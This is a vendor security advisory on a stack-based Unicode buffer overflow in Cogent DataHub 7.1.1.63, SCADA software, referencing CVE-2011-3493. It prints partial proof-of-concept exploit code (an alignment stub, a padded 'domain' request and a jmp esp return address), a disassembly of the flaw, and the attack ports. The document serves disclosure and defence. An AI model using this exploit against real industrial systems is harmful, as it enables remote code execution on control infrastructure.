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 Security News 
 2011-48023 Cogent DataHub 7.1.1.63 
Buffer Overflow Vulnerability 
 

 

1. Affected Version 

 
Cogent Datahub 7.1.1.63 and eariler 

 
 

2. Description 
 

DataHub is a software for the SCADA and automation sector. The Cogent 
DataHub is the latest version of a long line of DataHub products that have set the 
benchmark for real-time data solutions. 

 
A stack based unicode buffer overflow issue has been identified in Cogent 

DataHub 7.1.1.63 and earlier. 
 

3. Vulnerability Analysis 

 

  

 The partial proof-of-concept code is listed as follows: 

 

... 

align= "" 

align += "x54"   # push esp 

align += "x6f" 

align += "x58"   # pop eax 

align += "x6f" 

align += "x05x6fx11" # add eax,11006f00 

align += "x6f" 

align += "x2dx37x01" # sub eax,01003700 

align += "x6f" 

align += "x2dx37x10" # sub eax,11003700 

align += "x6f" 

align += "x50"   # push eax 

align += "x6f" 

align += "x48"   # dec eax 
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align += "x6f" 

align += "x48"   # dec eax 

align += "x6f" 

align += "x55"   # push ebp 

align += "x6f" 

align += "x59"   # pop ecx 

align += "x08"   # add [eax],cl (carve a 'RETN' onto the 

stack) 

align += "x6f" 

align += "x40"   # inc eax 

align += "x6f" 

align += "x40"   # inc eax 

align += "x6fx41" * (48) # inc ecx (will not effect to our payload) 

align += "x6f" 

align += "x62"   # becomes our carved RETN on the stack 

(0x61+0x62=0xc3) 

 

request = "(domain "" 

request += "x61" * 1019 

request += "x7fx55"  # jmp esp 0x0055007f 

request += align 

request += shellcodez 

request += "") 

... 

Table 1:  The partial proof-of-concept code 

 

 

 Multiple stack based unicode buffer overflows in the DH_OneSecondTick 

function in Cogent DataHub, caused by a boundary error when processing certain 

commands containing overly long argument.  

 

 00440442  |. 50              |PUSH EAX                      ; string 

 00440443  |. 68 64854900      |PUSH CogentDa.00498564         ; "Domain" 

 00440448  |. 8D8D 00FFFFFF  |LEA ECX,DWORD PTR SS:[EBP-100] 

 0044044E  |. 68 A42F4900     |PUSH CogentDa.00492FA4         ; "%s.%s" 

 00440453  |. 51              |PUSH ECX                       ; stack buffer 

 00440454  |. FF15 B4F44800   |CALL DWORD PTR DS:[<&MSVCR90._swprintf>] 
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 By sending specially crafted "domain", "report_domain", "register_datahub", or 

"slave" commands to TCP ports 4502 (plain text) or 4503 (SSL), a remote attacker 

could execute arbitrary code on the victim system or cause a DoS. 

     

 

4. Recommendation 

 

1. AegisLab IDP signature database can prevent this attack since 25/11/2011. 

2. Contact your vendor for an appropriate patch. 

 

 

5. Reference 

 

1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3493 

About Lionic: Lionic Corporation is an innovative network security chip and IP design company. It 
provides optimal cost-performance solutions for network security products from 30Mbps SOHO devices 
to 4Gbps enterprise-level appliances. 
For more information, please visit Lionic website and contact our sales representatives. 
Web site: www.lionic.com    e-mail: sales@lionic.com   Tel: 886-3-578-9399    Fax: 886-3-578-0707 


